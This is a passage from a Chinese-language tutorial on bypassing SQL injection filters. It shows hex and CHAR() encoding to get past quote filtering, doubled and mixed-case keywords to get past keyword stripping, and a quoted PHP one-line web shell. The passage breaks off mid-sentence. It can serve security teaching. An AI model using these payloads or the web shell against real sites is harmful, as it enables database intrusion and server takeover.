相信大家看完入门篇后,基本掌握了SQL注入的语法,那么这章主要讲下Bypass的绕过技巧
过滤引号
当注入点过滤引号时,我们可以用Hex encoding或者CHAR() Function绕过
假设有一个查询语句为select * from user where id='[我们输入的值]';
Hex encoding
原查询语句select * from user where id=0x312723;
解析为select * from user where id=‘1’#';
CHAR() Function
原查询语句select * from user where id=CHAR(49, 39, 35)
;
解析为select * from user where id=‘1’#';
过滤关键字
过滤关键字时,先看看我们的语句是如何被过滤的
删除关键字
我们可以通过双写来绕过,比如删除and这个关键字,那么我们可以这么构造anandd
,那么后端检测到and这个关键字,则会删除,删除后则会变成and
删除小写的关键字
这种则可以用大写来尝试下会不会被删除,或者可以大小写的方式来尝试,比如AnD
拼接字符串
有时候我们输入的字符串被过滤了,比如:select <?php eval($_POST[shell])?>;
后端检测到一句话